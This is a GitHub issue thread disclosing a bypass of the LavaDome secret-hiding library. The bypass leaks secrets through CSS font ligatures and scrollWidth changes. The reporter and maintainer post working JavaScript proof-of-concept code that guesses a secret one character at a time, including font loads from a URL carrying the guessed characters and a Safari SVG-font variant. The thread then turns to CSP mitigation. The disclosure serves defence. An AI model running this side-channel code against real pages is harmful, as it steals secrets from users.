Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome bypass via font ligatures #40

Closed
masatokinugawa opened this issue Apr 27, 2024 · 13 comments
Closed

LavaDome bypass via font ligatures #40

masatokinugawa opened this issue Apr 27, 2024 · 13 comments
Labels
bypass LavaDome security breach safari Safari related

Comments

@masatokinugawa
Copy link

By creating ligature fonts having large width, applying it to the secret and detecting the change of the scrollWidth property, the secret can be leaked.
The basic idea comes from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ by @securityMB.

  • Visit my repository, download them locally and execute npm install and node index.js
  • Visit the demo using Chrome (Note: This trick should work on Firefox as well but my PoC does not work well.)
  • Open console and run the code below
const defaultWidth = document.body.scrollWidth;
const secretChars = "0123456789abcdef";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = `#PRIVATE {
  font-size:0;
  width:0;
  word-wrap: break-word
}
#PRIVATE::first-line {
  font-family:hack;
  font-size:100px
}`;
document.fonts.addEventListener("loadingdone", (event) => {
  if (defaultWidth < document.body.scrollWidth) {
    foundChars += secretChars[index];
    console.log(`Found: ${foundChars}`);
    index = 0;
  } else {
    index++;
  }
  document.fonts.delete(event.fontfaces[0]);
  if (foundChars.length === 32) {
    alert(foundChars);
  } else {
    loadFont(`${foundChars}${secretChars[index]}`);
  }

});
const loadFont = target => {
  const font = new FontFace("hack", `url(http://localhost:3000/?target=${target})`);
  document.fonts.add(font);
};
loadFont(secretChars[index]);
@weizman
Copy link
Member

weizman commented May 2, 2024

First of all, truly amazing (hats off @securityMB).

Can you help me understand something - is the fetching of a font required to be external AFAYU?
Or would this work similarly by forming the font on the client side without having to reach out to external servers?

Understanding this will help me determine the criticality level of this attack and what requirements must be met for attackers to succeed (a need to communicate with a server and load fonts is more likely to meet limitations such as network-CSP than a local-only attack)

Thanks again for toying around with LavaDome @masatokinugawa!

@securityMB
Copy link

Drive-by comment: I think it theoretically should be possible to create the font client-side.

Masato used https://www.npmjs.com/package/svg2ttf in the proof-of-concept and if this library can also work in the client-side JS, then this attack should work without having to contact any server.

That said, I think you can still contain the attack with CSP since with local attacks you would probably still need either data: or blob: URLs to be able to load the font.

@weizman
Copy link
Member

weizman commented May 2, 2024

Exactly what I was thinking, just wanted to make sure my intuition was correct. Thank you.

So with proper font-src CSP configuration it should be very straight forward to mitigate this vector - would you agree?

@weizman
Copy link
Member

weizman commented May 2, 2024

Because honestly, I think setting up a well-thought font-src directive is a very fair requirement from products that are willing to adopt LavaDome into their apps. If adding this requirement into the README under usage will be the mitigating force of LavaDome, this might be the course of action we will chose to take.

@masatokinugawa
Copy link
Author

Unlike other modern browsers, Safari supports SVG fonts. This allows using Michał's trick with SVG only, without converting fonts to TTF, WOFF, etc.: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html

Or would this work similarly by forming the font on the client side without having to reach out to external servers?

In the case of SVG fonts, all font components can be defined by putting them to HTML directly, so there is no need to fetch external URLs. Therefore, using Safari + SVG fonts, it still should work even if the strict CSP font-src is configured.

@weizman
Copy link
Member

weizman commented Jun 23, 2024

UPDATE: never mind, this seems to still work...

Say @masatokinugawa , any chance Safari dropped support for SVG font-face?

  1. According to MDN, font-face support via SVG dropped at Safari version 16.4
  2. According to Wikipedia, Safari 16+ was introduced in 2022
  3. Your research is from 2021, so before this was dropped

Am I missing something?

Because if they did, this will save me a lot of trouble

@weizman weizman added bypass LavaDome security breach chromium Chromium related safari Safari related firefox Firefox related labels Jun 23, 2024
@weizman
Copy link
Member

weizman commented Jun 23, 2024

One more question, if I may @masatokinugawa,

Trying to study your research - is it true to assume, that while forming fonts in Safari does not require external connection (thanks to SVG), this isn't the case for the part where the secret is being leaked, in which external communication is necessary - right?

In other words - using this SVG technique in Safari will only work by leaking each char to a remote server, and there's no way to access this leakage in the client without needing a remote server, if I understand correctly.

And if so, if I manage to implement strict network CSP to my app which successfully enforces a whitelist of domains it can communicate with, this should mitigate your SVG attack - is this right in your opinion?

I'm saying this because it seems from your research that the leakage of the secret happens using background: url, correct?

So for example, would you agree that Content-Security-Policy: default-src: "self" is enough to block this attack?

@masatokinugawa
Copy link
Author

masatokinugawa commented Jun 23, 2024

In my blog article, I assume that an attacker can only inject CSS and can't execute JS. That is the reason why I used image requests for the leak.
In situations where an attacker can execute JS, they don't need to use images, just look at the scrollWidth property as I did in the PoC above. Therefore, even if strict CSP is used, the leakage is still possible.
Although I haven't been able to create a working SVG font PoC for LavaDome yet because Safari does not apply the ::first-line properly, at least I confirmed that the ligature is actually created and the scrollWidth is changed, so all we need to do should be adjust the PoC for Safari.

@weizman
Copy link
Member

weizman commented Jul 1, 2024

I think I understand your PoC and general approach better now @masatokinugawa.
I think I made some progress on your idea with SVG instead of font against Safari, where I manage to successfully capture only a single char but not the rest.
I can see why first-line would've completed the bypass for you, but I too can't seem to make it work in Safari.

Any ideas on how to continue this? Couldn't find any other pseudo elements/classes to use here instead.

setTimeout(() => {
    const container = document.body.appendChild(document.createElement('div'));
    const defaultWidth = document.body.scrollWidth;
    const secretChars = "0123456789abcdef";
    let index = 0;
    let foundChars = "";
    const style = document.createElement('style');
    document.body.appendChild(style);
    style.innerHTML = `#PRIVATE {
  font-size:0;
  width:0;
  word-wrap: break-word
}
#PRIVATE:is(*) {
  font-family:hack;
  font-size:100px
}`;
    const xxx = () => {
        if (defaultWidth < document.body.scrollWidth) {
            foundChars += secretChars[index];
            console.log(`Found: ${foundChars}`);
            index = 0;
        } else {
            index++;
        }
        if (foundChars.length === 32) {
            alert(foundChars);
        } else {
            loadFont(`${foundChars}${secretChars[index]}`);
        }

    };

    const loadFont = target => {
        setTimeout(xxx, 1000);
        console.log('load font:', target);
        container.innerHTML = `
        <svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode="${escape(target)}" horiz-adv-x="99999" d="M1 0z"/>;
</font>
</defs>
</svg>`;
    };
    loadFont(secretChars[index]);
}, 3000);

@weizman
Copy link
Member

weizman commented Jul 3, 2024

Since #47 is merged, the responsibility to mitigate this attack surface officially shifts to the developer since it requires CSP.

That leaves us with Safari only, where CSP can be bypassed using SVG fonts instead (theoretically).

(Removing chrome & firefox labels)

@weizman weizman removed chromium Chromium related firefox Firefox related labels Jul 3, 2024
@masatokinugawa
Copy link
Author

The reason why the SVG font leak doesn't work well seems to be because Safari doesn't create ligatures when elements are separated. e.g.:

<!-- Safari can create "AB" ligature -->
<span>AB</span>

<!-- In this case, can't -->
<span>A</span><span>B</span>

I haven't found a way to leak all characters well yet. The browser's behavior with regards to ligatures seems quite inconsistent :(

@weizman
Copy link
Member

weizman commented Jul 4, 2024

I salute your effort and willingness to help either way @masatokinugawa, thanks for your research, you helped significantly making LavaDome safer 🫡

@weizman
Copy link
Member

weizman commented Jul 4, 2024

I'm closing this for now, not because this vector is impossible, but because I prefer to only leave issues open when they indicate a practical way to perform a bypass, as opposed to theoretical only.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach safari Safari related
Projects
None yet
Development

No branches or pull requests

3 participants